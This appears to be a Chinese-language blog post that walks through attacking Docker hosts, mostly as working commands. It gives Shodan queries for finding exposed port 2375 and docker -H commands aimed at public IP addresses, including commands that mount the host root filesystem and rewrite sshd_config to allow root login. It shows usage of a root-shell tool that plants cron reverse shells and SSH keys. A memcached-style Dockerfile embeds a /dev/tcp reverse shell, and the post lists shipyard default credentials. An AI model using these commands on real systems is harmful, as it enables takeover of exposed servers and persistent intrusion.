Docker容器漏洞研究与介绍总结

2022-09-28 21:22:42 浏览数 (1)

[TOC]

0x00 未授权访问类漏洞

1) Docker Remote API 未授权访问漏洞

描述: 由于docker安装后是默认不允许远程访问的,所以很多小白可能就直接搜索网上的文章开启dcoker远程访问,然后照着操作。虽然这样可以远程访问了,但是直接暴露在公网上的2375端口是非常危险的,导致所有人都可以远程操作这台主机上的Docker。

漏洞说明: 漏洞原因: 由于Docker Engine Daemon api 或 Docker swarm进行Docker集群管理时其 Docker Remote API 直接暴露公网且未设置访问限制导致。 漏洞特征: 使用标准的Docker API节点上会开放一个绋定在0.0.0.0上TCP端口2375 被利用特征: EXIN挖矿、木马植入、肉鸡

漏洞环境:

代码语言:javascript复制
sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

WeiyiGeek.开启远程管理端口

漏洞搜寻 描述: 我们可以自建漏洞环境或者直接在公网上找开放了2375端口的主机进行演示(不建议)。

1) 利用 shodan 搜寻以我搜索的关键字为例,最后要加上docker关键字排除2375端口被用作其他用途的情况,提高搜索准确率。

代码语言:javascript复制
port:"2375" country:"JP" Docker
port:"2375" X-Content-Type-Options: nosniff country:"CN"

2) 如果在内网之中存在Docker Swarm集群的需要非常的注意2375访问限制。

漏洞利用

1) 采用http请求验证例如运行、删除container、拉取image等等

代码语言:javascript复制
http://127.0.0.1:2375/version
http://127.0.0.1:2375/containers/json  
http://127.0.0.1:2375/containers/json?all=1   # 查看相关docker服务
http://127.0.0.1:2375/containers/Id/json      # 可以进一步通过ID访问服务细节

2) 采用Docker Client进行远程访问docker并进入到容器Shell终端

代码语言:javascript复制
# - 获取镜像以及容器运行信息
docker -H tcp://180.76.161.55:2375 images
docker -H tcp://180.76.161.55:2375 ps

# - 直接在容器中执行命令
docker -H tcp://180.76.161.55:2375 run -it --entrypoint /bin/bash ubuntu "-h" 

# - 在对方VPS主机上创建一个busybox的容器,需要查看Docker是否以root权限运行,Docker在运行一个容器的时候可以将宿主机上的一个目录挂载到容器内的一个目录并写入公钥。
docker -H tcp://vps的ip run --rm -privileged -it -v /:/mnt busybox chroot /mnt sh
chattr -aui /root/.ssh/authorized_keys
chmod  600 /root/.ssh/authorized_keys
sed -i -e 's/#Port 22/Port 22/g' -e '/^Port 22/aPort 2433' -e 's/#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PermitRootLogin without-password/PermitRootLogin yes/g' -e 's/PermitRootLogin prohibit-password/PermitRootLogin yes/g' -e 's/PasswordAuthentication no/PasswordAuthentication yes/g' -e 's/GSSAPIAuthentication yes/GSSAPIAuthentication no/g' -e 's/GSSAPICleanupCredentials yes/GSSAPICleanupCredentials no/g' /etc/ssh/sshd_config
systemctl restart sshd

WeiyiGeek.ssh公钥认证

3) 直接采用API方式进行管理(注意需要根据Docker Server的版本来确定,验证时建议只查询)

代码语言:javascript复制
POST /v1.17/containers/bcd44e3731cc11cd0afe93445fd2e8ee9b0a34e7c39018920320b88fa6acd57b/attach?stderr=1&stdin=1&stdout=1&stream=1 HTTP/1.1
Host: 123.125.105.158:2375
User-Agent: Docker-Client/1.7.0 (windows)
Content-Length: 0
Content-Type: application/json
Accept-Encoding: gzip

4) 除了上述的利用方法外我们也可以参考以下方式

  • 4.1 有些服务器不允许root登录,可以写入其他用户的.ssh/目录下通过查看/etc/ssh/sshd_config目录,然后修改/etc/sudoer中的文件,配置为sudo免密码切换为root。
  • 4.2 通过crontab写计划任务反弹shell

利用POC及工具

dockerRemoteApiGetRootShell.py 脚本工具

代码语言:javascript复制
# 查看服务端api版本
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -V

# 查看运行的容器
python dockerRemoteApiGetRootShell.py -h 115.159.43.140 -p 2375
 
# 查看所有的容器
python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -a
 
# 查看所有镜像
python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -l
 
# 查看端口映射
python dockerRemoteApiGetRootShell.py -h 139.217.25.172 -p 2375 -L
 
# 写计划任务(centos,redhat等,加-u参数用于ubuntu等)  REPOSITORY
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -C -i 镜像名 -H 反弹ip -P 反弹端口
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -C -u -i 镜像名 -H 反弹ip -P 反弹端口
 
# 写sshkey(自行修改脚本的中公钥) IMAGE ID
python dockerRemoteApiGetRootShell.py -h 43.254.53.221 -p 2375 -C -i IMAGE ID -k
 
# 在容器中执行命令
python dockerRemoteApiGetRootShell.py -h 120.24.45.47 -p 2375 -e "id" -I f5d1d4b02565
 
# 删除容器
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -c -I 容器id
 
# 修改client api版本
python dockerRemoteApiGetRootShell.py -h 158.85.173.113 -p 2375 -v 1.22

0x01 系统脆弱性口令类漏洞

Docker WEB管理之 shipyard 弱口令利用

描述: shipyard 是一款 Docker WEB 管理工具

漏洞特征:

  • 默认账号密码:admin/shipyard
  • 开放端口: 8080
  • 验证路径:
    • http://127.0.0.1:8089/#/login
    • http://127.0.0.1:8080/#engines

0x02 共有云服务提供商

Docker云服务设计脆弱性利用

描述: 在2016年时网易蜂巢为开发者打造的基于Docker的容器云,全SSD助力极速打造云端应用!

漏洞特征:

  • 1) 创建镜像的支持方式例如自定义拉取共有仓库、或者使用dockfile进行构建(可以利用其进行任何命令执行), 风险点: 管理或自有服务的api需要和用户环境隔离。

漏洞利用:

1) Dockfile 构建时执行任意命令可反弹Shell

代码语言:javascript复制
# Memcached
FROM ubuntu
RUN sleep 1
RUN cat /etc/passwd
# make sure the package repository is up to date
RUN echo "deb http://mirrors.163.com/ubuntu/ precise main restricted universe multiverse" > /etc/apt/sources.list
RUN apt-get update
RUN echo "while ((1));do sleep 1;echo 111;/bin/sh -i >& /dev/tcp/1.1.1.1/1234 0>&1;done" >> /tmp/1.sh
RUN bash /tmp/1.sh
RUN sleep 20
# install memcached
RUN apt-get install -y memcached
# Launch memcached when launching the container
ENTRYPOINT ["memcached"]
# run memcached as the daemon user
USER daemon
# expose memcached port
EXPOSE 11211

0 人点赞